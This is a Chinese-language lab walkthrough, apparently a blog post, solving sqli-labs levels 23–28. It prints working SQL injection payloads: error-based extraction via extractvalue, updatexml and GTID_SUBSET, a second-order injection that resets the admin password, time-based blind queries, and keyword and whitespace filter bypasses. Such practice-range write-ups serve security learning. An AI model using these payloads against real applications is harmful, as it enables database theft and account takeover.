SQL注入【sqli靶场第23-28关】(七)

★★免责声明★★
文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与学习之用，读者将信息做其他用途，由Ta承担全部法律及连带责任，文章作者不承担任何法律及连带责任。

0、总体思路

先确认是否可以SQL注入，使用单双引号,1/0,括号测试 ’ " 1/0 )，页面显示不同内容或响应长度来确定。存在SQL注入后则开始构造轮子进行验证，猜出数据库，用户名，表名，字段名，有没有文件漏洞等。

为方便验证提交拦截到BP，右击到Repeater修改参数值进行验证看响应内容。

特殊字符说明

+表示空格
--表示注释

1、Less-23

GET - Error based - strip comments

1.1、判断是否存在SQL注入

正常响应长度

输入带单引号’，响 应长度有变化

1.2、报错函数

在测试过程中发现union 联合查询的方式一直报错，尝试报错函数成功爆出。

报错函数extractvalue，0x7e是~的ASCII码，字符型后面有加单引号，数字型没有，根据报错函数获取到数据库名，登录名。

# 输入内容
'and+extractvalue(1,concat(0x7e,(select+database()),0x7e))='1

# 输出内容
XPATH syntax error: '~security~'

# 输入内容
'and+extractvalue(1,concat(0x7e,(select+user()),0x7e))='1

# 输出内容
XPATH syntax error: '~root@localhost~'

2、Less-24

POST-Second order lnjections Real treat - stored lnjections

二次注入，先注册一个账号带有注释功能的，然后登录，再修改密码

2.1、注册带注释功能的账号

账号：admin'#
密码：123456

2.2、用新账号登录

用新账号登录成功

2.3、修改密码

修改目标密码为123，用账号：admin，密码：123登录验证是否成功。

3、Less-25

GET - Error based - All your OR & AND belong to us -string single quote

3.1、判断是否存在SQL注入

正常响应长度

输入带单引号’，响 应长度有变化

3.2、报错函数

在测试过程中发现union 联合查询的方式没有达到预期值，尝试报错函数成功爆出。

报错函数extractvalue()，updatexml()没有达到预期值，GTID_SUBSET()成功爆出。

# 输入内容
'-GTID_SUBSET(database(),1)-'

# 输出内容
Malformed GTID set specification 'security'.

# 输入内容
'-GTID_SUBSET(user(),1)-'

# 输出内容
Malformed GTID set specification 'root@localhost'.

4、Less-25a

GET - Blind Based - All your OR & AND belong to us- lntiger based

4.1、判断是否存在SQL注入

正常响应长度

输入带单引号’，响应长度有变化

4.2、借用BP爆破数据库

过滤 or and 关键字 采用重复的方式处理

oorr --> or
anandd --> and

4.2.1、使用时间盲注验证

# 输入内容
+anandd+if(1=1,sleep(1),sleep(5))--+

4.2.2、爆破数据库长度

# 输入内容
+anandd+if(length(database())=5,1,0)--+

在Repeater右击发送到Intruder，先清除默认的标志位，自己定位到数字5，这个值任意填写的。Attack Type选择：Sniper,参数设置看截图说明。

4.2.3、爆破数据库名

# 输入内容
+anandd+if(substr(database(),1,1)='a',1,0)--+

爆破参数设置看截图说明，需要2个参数，第一个是截取的数据库对应的字段索引，第二个是匹配的内容。

5、Less-26

GET - Error based - All your SPACEs and COMMENTS belong to us

参考博客：https://blog.csdn.net/m0_71299382/article/details/127944148

5.1、判断是否存在SQL注入

正常响应长度

输入带单引号’，响 应长度有变化

5.2、关联查询

回显位在第2位

# 输入内容-数据库名
0'%0bunion%0bselect%0b1,database(),3||'1'='1

# 输入内容-登录名
0'%0bunion%0bselect%0b1,user(),3||'1'='1

6、Less-27

GET - Error Based-All your UNION & SELECT Belong to us - String - single quote

参考：https://blog.csdn.net/qq_73393033/article/details/132106554

6.1、判断是否存在SQL注入

正常响应长度

输入带单引号’，响 应长度有变化

6.2、报错函数

%26是&的URL编码

# 输入内容
'%26%26updatexml(1,concat('~',database(),'~',user()),1)%26%26'1'='1

# 输出内容
XPATH syntax error: '~security~root@localhost'

# 输入内容
'%26%26extractvalue(1,concat(0x7e,(select+database()),0x7e))=1%26%26'1'='1

# 输出内容
XPATH syntax error: '~security~'

7、Less-28

GET -Error Based- All your UNION & SELECT Belong to us - String -Single quote with parenthesis

参考：https://blog.csdn.net/m0_57736664/article/details/128553406

7.1、判断是否存在SQL注入

正常响应长度

输入带单引号’，响 应长度有变化

7.2、确定回显字段

看源码参数闭合是'),尝试验证是不是4个字段，没有回显，修改为了3时回显了，因此可确定是3个字段

# 输入内容
')order%0Aby%0A4;%00

# 页面没有预期回显数据

# 修改为3
')order%0Aby%0A3;%00

7.3、关联查询

回显位在第2位

# 输入内容-数据库
0')union%0aunion%0aselectselect%0a1,database(),3||('1')=('1

# 输入内容-登录名
0')union%0aunion%0aselectselect%0a1,user(),3||('1')=('1

8、下期内容预告

截止到目前SQL注入的内容已经分享了7篇，后面会有一篇关于ByPass(绕过)和总结的内容。敬请关注我的公众号：大象只为你，持续更新中…